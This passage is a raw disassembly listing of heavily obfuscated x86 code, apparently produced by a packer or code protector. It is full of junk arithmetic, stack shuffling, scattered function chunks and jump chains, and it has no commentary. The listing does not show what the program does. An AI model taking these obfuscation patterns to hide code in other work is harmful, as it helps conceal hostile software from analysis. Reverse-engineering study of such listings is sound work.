0000000D BYTES ; FUNCTION CHUNK AT 005A6284 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A71A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A83B6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA68B SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AB902 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005AD03E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF44F SIZE 00000017 BYTES push ebp mov ebp, 53082849h mov eax, 0B1FD3DC4h jmp loc_5A6284 sub_5AD243 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5AD253: ; CODE XREF: sdfs____:005A9A59j add ebx, 3184F9C8h jmp loc_5A6997 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5AD25E: ; CODE XREF: sub_5A21A4+D97Ej sub ebx, 4 push ebx jmp loc_59F368 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5AD26A: ; CODE XREF: sub_5A2E28+4868j push esi mov esi, 0F9D20ADh shl esi, 1 push ebp mov ebp, 3A166C91h not ebp and ebp, 678625Dh shr ebp, 1 sub ebp, 0B68F8523h xor esi, ebp pop ebp add esi, 0FD54F683h jmp loc_59ABB6 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AD296: ; CODE XREF: sub_5B01F7-5B0j pop ebp pop eax shl eax, 6 shl eax, 5 push 2538h mov [esp+0Ch+var_C], edx push 36CEh mov [esp+10h+var_10], ecx mov ecx, 62A25A30h xor ecx, 693F3727h sub ecx, 75262003h jbe loc_5AD34F add ecx, 11FBDAEAh mov edx, ecx pop ecx sub eax, edx pop edx mov ecx, eax ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AD2D3: ; CODE XREF: sub_59D6B8+4195j xor ecx, edi jmp loc_5AD596 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A94C loc_5AD2DA: ; CODE XREF: sub_59A94C+4B90j push 3CB2h mov [esp+0Ch+var_C], ebx push esp pop ebx add ebx, 4 push edi mov edi, 653560DBh not edi shr edi, 1 and edi, 62234B28h or edi, 0FD54EEh sub edi, 40FD5FEAh add ebx, edi jmp loc_5AF0BD ; END OF FUNCTION CHUNK FOR sub_59A94C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E21 loc_5AD30D: ; CODE XREF: sub_599E21+1BE6j pop esp bswap eax push 2E38h mov [esp-4+arg_0], eax jmp loc_5A0A7A ; END OF FUNCTION CHUNK FOR sub_599E21 ; --------------------------------------------------------------------------- loc_5AD31D: ; CODE XREF: sdfs____:005AF755j or eax, 5552A34h jnz loc_5A5B72 sub eax, 66430FD8h jo loc_59ACB7 xor al, 4Ah pop edi ; =============== S U B R O U T I N E ======================================= sub_5AD336 proc near ; DATA XREF: sdfs____:00598FE8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A01A1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A4A9F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AECA0 SIZE 00000008 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop eax push edi mov edi, esp jmp loc_5AECA0 sub_5AD336 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5AD345: ; CODE XREF: sub_59ED98+E664j sub bl, al push edx mov dl, 4Ch jmp loc_59E158 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AD34F: ; CODE XREF: sdfs____:0059E2F4j ; sub_5B01F7-2F38j add ecx, 11FBDAEAh mov edx, ecx pop ecx sub eax, edx pop edx sub ecx, 5F6B763Ah jmp loc_5AB8B0 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD366: ; CODE XREF: sub_5AA2D1-CE12j ; sdfs____:005A2FC9j push edx jmp loc_59B819 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5AD36C: ; CODE XREF: sub_5A5B27+8B7Fj mov bl, 5Ch jmp sub_5A5AF2 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AD373: ; CODE XREF: sub_5ADD33-A4C4j push dword ptr [esp+4] pop edx pop [esp+4+var_4] mov esp, [esp+0] jmp loc_5A8AB8 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD383: ; CODE XREF: sub_5AA2D1-F855j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5AD388: ; CODE XREF: sub_59F463+1047Fj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AD38D: ; CODE XREF: sub_5AF2D9-585Aj mov ebp, [esp+10h+var_10] add esp, 4 or ebp, 39B123A5h jnb loc_59CC86 push eax mov eax, 3B421345h and ebp, eax push [esp+10h+var_10] pop eax mov dh, al loc_5AD3AD: ; CODE XREF: sub_5A2F58:loc_5A97A2j xor ch, 8Dh push bx jmp loc_5AB511 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AD3B7: ; CODE XREF: sub_5A580F-3212j mov edx, 20F06A17h sub edx, 54B34414h jns loc_5A9AB2 not edx add edx, 41BB7FCDh jbe loc_59B0C2 dec edx shl edx, 1 jmp loc_59F540 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AD3DE: ; CODE XREF: sub_5A63DC+4A28j mov ebx, 1B86495Bh sub ebx, 4DC14FA0h dec ebx push ecx jmp loc_5A80C6 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5AD3F0: ; CODE XREF: sub_5AE29C-E6F3j pop edx jmp loc_5AAE71 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5AD3F6: ; CODE XREF: sub_59ED98-4123j ; sub_5A5EFF-7513j sub bl, 6Fh add bl, 52h jmp loc_5AD345 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD401: ; CODE XREF: sub_5AA2D1-BF06j mov edi, 72767463h or edi, 3FD6388Eh jb loc_5A713B xor edi, 2BFA0E5Eh xchg eax, edi not eax xchg eax, edi inc edi shr edi, 2 sub edi, 1FE2541Dh sub esp, 4 mov [esp+6+var_8+2], eax mov eax, 10C56377h and edi, eax jmp loc_5AC260 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5AD43B: ; CODE XREF: sub_59A4E8+Cj push esp jmp loc_5A8534 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AD441: ; CODE XREF: sub_59EE3E+10057j pop edx push 113Ah jmp loc_5A7149 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5AD44C: ; CODE XREF: sub_5A809B+4822j add ecx, 4 push eax jmp loc_5A65A5 ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AD458: ; CODE XREF: sub_5A477C-50A1j ; sdfs____:005A4866j mov ebx, 6DD418B8h add esi, ebx mov ebx, [esp+0] add esp, 4 sub esi, 0B4EE3A9Dh add edx, 614A260Ch jmp loc_59F64B ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D5EA loc_5AD476: ; CODE XREF: sub_59D5EA+A786j sub ecx, 0E871D052h sub eax, 594F04AEh add eax, 46C8242Dh add eax, ecx sub eax, 46C8242Dh push ecx mov ecx, 594F04AEh add eax, ecx pop ecx pop ecx mov ebx, [esp+0] jmp sub_5AAE5E ; END OF FUNCTION CHUNK FOR sub_59D5EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AD49F: ; CODE XREF: sub_59C979+106F3j or cl, 76h jmp loc_5AC58A ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5AD4A7: ; CODE XREF: sub_5A10E3+CCF2j push 270F7FABh mov esi, [esp+14h+var_14] add esp, 4 sub esi, 41D1324Eh add esi, 1AC1B2A3h push edi mov edi, esi mov edx, edi pop edi jmp loc_5AB69E ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5AD4CC: ; CODE XREF: sub_5A3C19-8999j push [esp+arg_0] mov ebx, [esp+4+var_4] jmp loc_5A9494 ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5AD4D8: ; CODE XREF: sub_5A913B-B258j push 42B5h mov [esp-0Ah+arg_4+2], edx push ecx mov ch, 0Eh sub ch, 18h jmp loc_5A2155 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AD4EB: ; CODE XREF: sub_599A61+1165Fj xor esi, ebp pop ebp sub esp, 4 jmp loc_5A5C6F ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AD4F9: ; CODE XREF: sub_5A477C+9BC1j mov esi, 5C6C3A65h sub esi, 17647692h jmp loc_59B675 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5AD509: ; CODE XREF: sdfs____:0059B1D8j add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ebx, 4 jmp loc_5AA8A9 ; =============== S U B R O U T I N E ======================================= sub_5AD51E proc near ; DATA XREF: sdfs____:00598E80o push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp+0], cl pushf jmp loc_59910F sub_5AD51E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AD52D: ; CODE XREF: sub_59C979+7B32j or cl, 50h jmp loc_5A56C9 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AD535: ; CODE XREF: sub_59D6B8+5258j mov edi, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_59D6D1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5AD546: ; CODE XREF: sub_59F1F3+4179j dec edi sub esp, 4 jmp loc_5A52D9 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AD54F: ; CODE XREF: sub_5992DA+36BCj mov edx, [esp+0] add esp, 4 jmp loc_5A9DBC ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD55D: ; CODE XREF: sub_5AA2D1-73E9j neg edi push edi dec dword ptr [esp+0] pop edi inc edi inc edi jmp loc_59DF01 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5AD56B: ; CODE XREF: sdfs____:0059FA31j add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_59C525 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5AD579: ; CODE XREF: sub_5AD6D4-2272j push 500237CEh pop edi push 1214h mov [esp+0Ch+var_C], edi neg [esp+0Ch+var_C] pop edi sub esp, 4 jmp loc_5AA932 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AD596: ; CODE XREF: sub_59D6B8+FC1Dj pop edi mov ebx, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 sub edx, ebx pop ebx push 119Eh mov [esp+8+var_8], ebp push edi mov edi, edx mov ebp, edi pop edi jmp sub_5A9EB4 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5AD5B5: ; CODE XREF: sub_5B03B3-CD4Aj mov ebx, 6F262C69h sub edx, ebx pop ebx sub edx, 10366CD7h jmp loc_59925B ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_5AD5C8: ; CODE XREF: sub_59B95E+56AFj push esi mov esi, 6F004E1Ah shr esi, 3 jmp loc_5A6F44 ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD5D6: ; CODE XREF: sub_5AA2D1+1748j xchg eax, [esp+14h+var_14] pop esp neg eax shl eax, 8 xor eax, 5CAC0304h add edx, eax pop eax push edi mov edi, 39042D23h shl edi, 3 dec edi push edi not [esp+14h+var_14] pop edi push ebp mov ebp, 2BCC0210h jmp loc_5AF6C2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AD601: ; CODE XREF: sub_59C979+66D1j push eax mov ah, 0A3h not ah add ah, 77h sub ah, 6Ch sub dh, ah pop eax jmp loc_59CD63 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_5AD614: ; CODE XREF: sub_59B3C9+6AB2j add edi, 4 xchg edi, [esp+18h+var_18] pop esp add esp, 4 jmp loc_5AE292 ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AD629: ; CODE XREF: sub_5A0AA2-3D4Bj xor ebx, 0FE3CF8D8h jmp loc_5A9963 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AA62 loc_5AD634: ; CODE XREF: sub_59AA62+7AC2j add esi, 4 jmp loc_5A98C7 ; END OF FUNCTION CHUNK FOR sub_59AA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AD63C: ; CODE XREF: sub_59A479+115A8j add [esp+8+var_8], 4 jmp loc_5ACBE9 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- loc_5AD648: ; CODE XREF: sdfs____:005A02F3j add dword ptr [esp], 4 jmp loc_5AF678 ; --------------------------------------------------------------------------- loc_5AD651: ; CODE XREF: sdfs____:005AFDB8j mov edi, 4 add eax, edi pop edi jmp loc_5AD96A ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8101 loc_5AD667: ; CODE XREF: sub_5A8101-549Fj mov [esp+8+var_8], ecx mov ecx, 4 jmp loc_5ABD7D ; END OF FUNCTION CHUNK FOR sub_5A8101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AD674: ; CODE XREF: sub_59D6B8+D90j mov [esp+8+var_8], edi mov edi, 46C24282h jmp loc_5A2CB7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5AD681: ; CODE XREF: sub_5B03B3-286Fj push 73A4h mov [esp+0Ch+var_C], ebx jmp loc_59AE9B ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AD68E: ; CODE XREF: sub_5A7BA0+4801j add ebp, 0F5F98C2Fh sub [edi+24h], ebp pop ebp loc_5AD698: ; CODE XREF: sub_5992DA+AED6j push 34F5h mov [esp+0], ebx mov eax, [esp+0] push 7A98h mov [esp+4+var_4], edx push esp jmp loc_5A8728 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5AD6B1: ; CODE XREF: sub_599D0E+4390j mov al, dh jmp loc_599291 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AD6B8: ; CODE XREF: sub_59EE3E+88C9j jmp sub_599E58 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AD6BD: ; CODE XREF: sub_5992DA+405j ; sub_5AA2D1-5476j add esp, 2 sub bl, al jmp loc_59B1EA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5AD6CA: ; CODE XREF: sub_59F1F3-4933j xchg edx, esi not edx push esi jmp loc_5A9836 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; =============== S U B R O U T I N E ======================================= sub_5AD6D4 proc near ; CODE XREF: sub_5A2E28+B114j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059B13E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E5CB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A16DA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A1947 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A2433 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A2D68 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A46B2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A534B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A6005 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AA932 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AB461 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ABC0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD579 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AD8A9 SIZE 00000014 BYTES push ebp jmp loc_5AB461 sub_5AD6D4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B3 loc_5AD6DA: ; CODE XREF: sub_5A75B3-3B86j xor ebp, 42E2161Ch add ebp, 41BC9217h add eax, ebp pop ebp mov ebx, eax mov eax, [esp+0] add esp, 4 push ebx xor dword ptr [esp+0], 692D0192h pop edi xor edi, 692D0192h mov ebx, [esp-4+arg_0] add esp, 4 and eax, edi push [esp-8+arg_4] mov edi, [esp-4+arg_0] jmp sub_5AAAD5 ; END OF FUNCTION CHUNK FOR sub_5A75B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD716: ; CODE XREF: sub_5AA2D1-6FC5j shr edx, 1 add edx, 3C5306F3h jmp loc_5A4311 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AD723: ; CODE XREF: sub_5A7BA0-9D2Ej mov ecx, [esp+0] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5AE9AF ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AD73A: ; CODE XREF: sub_5992DA+A0EAj pop ecx add edx, 143C3145h jmp loc_5AB120 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5AD746: ; CODE XREF: sub_5AAE5E-E090j pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] jmp loc_59BFFB ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AD751: ; CODE XREF: sub_5992DA+1CE9j ; sub_59A479+B427j pop esp push 6F7Ch mov [esp-4+arg_0], edi jmp loc_5AEE9A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5AD75F: ; CODE XREF: sdfs____:005A0118j push ecx mov cl, 0D5h and cl, 21h neg cl shl cl, 8 sub cl, 0A5h sub dh, cl pop ecx or dh, 7Eh push bx mov bl, 92h xor dh, bl mov bx, [esp] jmp loc_5A46EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD782: ; CODE XREF: sub_5AA2D1-A536j mov [esp-18h+arg_14], esi push [esp-18h+arg_18] push [esp-14h+arg_10] pop esi add esp, 4 jmp loc_5A0567 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AD795 proc near ; CODE XREF: sub_59D6B8-D3j ; sub_5AA2D1-1244j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599535 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00599892 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00599C45 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00599FF2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AC9C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059AD11 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B130 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059B4C8 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 0059B830 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059BB3A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059CA9C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059CBB2 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059D508 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059E01B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E621 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059ED35 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A0082 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A1D66 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A20B6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2937 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2B7B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A2D90 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A344E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A4D91 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A5BF7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A7949 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A8593 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA25F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AA683 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AAD49 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005AC500 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005ADDE4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AE4D8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AEFC1 SIZE 00000009 BYTES push ebp jmp loc_5A4D91 sub_5AD795 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5AD79B: ; CODE XREF: sub_599D0E+27E9j add al, 0E8h xor cl, al pop eax push 32C4h jmp loc_5A0649 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AD7AA: ; CODE XREF: sub_5A477C-7E58j xchg esi, [esp+0] pop esp sub eax, 5C932C9Ch sub eax, 42BC0AFBh sub eax, edx push ebx mov ebx, 4056391Ch xor ebx, 5C4630E5h or ebx, 71BA4B65h dec ebx not ebx jmp loc_5A894C ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AD7DC: ; CODE XREF: sub_5A4E04-3591j add eax, 36DA23B0h sub eax, ebx push ebx mov ebx, 36DA23B0h sub eax, ebx pop ebx push esi mov esi, 4D7716DAh sub eax, esi pop esi push ebx push ecx mov ecx, 411D4CB1h mov ebx, ecx pop ecx jmp loc_5A697C ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD804: ; CODE XREF: sub_5AA2D1-EA47j pop edi jmp loc_5A42BA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5AD80A: ; CODE XREF: sub_5A917C+374Ej add esp, 4 push esi mov esi, esp push ebp mov ebp, 7826214Fh shr ebp, 5 add ebp, 1A167118h xor ebp, 1D116131h push ebx mov ebx, 75D36352h add ebp, ebx pop ebx shl ebp, 1 sub ebp, 0ED344CC6h add esi, ebp push [esp+8+var_8] push [esp+0Ch+var_C] pop ebp push ecx mov ecx, esp jmp loc_5AD044 ; END OF FUNCTION CHUNK FOR sub_5A917C ; =============== S U B R O U T I N E ======================================= sub_5AD84A proc near ; CODE XREF: sub_5A0FFF-1AFAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599656 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AF75 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059B470 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059CCDE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F68B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059FB21 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A145C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A229D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A4704 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A95D9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AC696 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AD85E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE58B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AE60B SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005AEAFA SIZE 0000000B BYTES push ebx mov ebx, 511243AAh inc ebx js loc_59CCDE neg ebx jmp loc_5A229D sub_5AD84A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5AD85E: ; CODE XREF: sub_5AD84A-E1B9j mov [esp+10h+var_10], ecx jmp sub_5ABFD8 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- loc_5AD866: ; CODE XREF: sdfs____:005ACE59j push 35AFh mov [esp], eax push esi push ecx mov ecx, 77CD456Eh jmp loc_5A92D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C656 loc_5AD87A: ; CODE XREF: sub_59C656+12j shr ebp, 4 xor ebp, 54D66ADBh jmp sub_5A62C4 ; END OF FUNCTION CHUNK FOR sub_59C656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AD888: ; CODE XREF: sub_59C979:loc_5A5393j add edi, 0F8491D10h dec edi and edi, 5E0928D0h push 0FFAh mov [esp+6+var_6], edx mov edx, 0E5FEE004h add edi, edx jmp loc_5A51C4 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5AD8A9: ; CODE XREF: sub_5AD6D4-76CCj ; sub_5B01F7-9BFEj xchg ecx, [esp+0] pop esp mov [esp-4+arg_0], eax mov eax, esp push ebx push 7613h jmp loc_5A1947 ; END OF FUNCTION 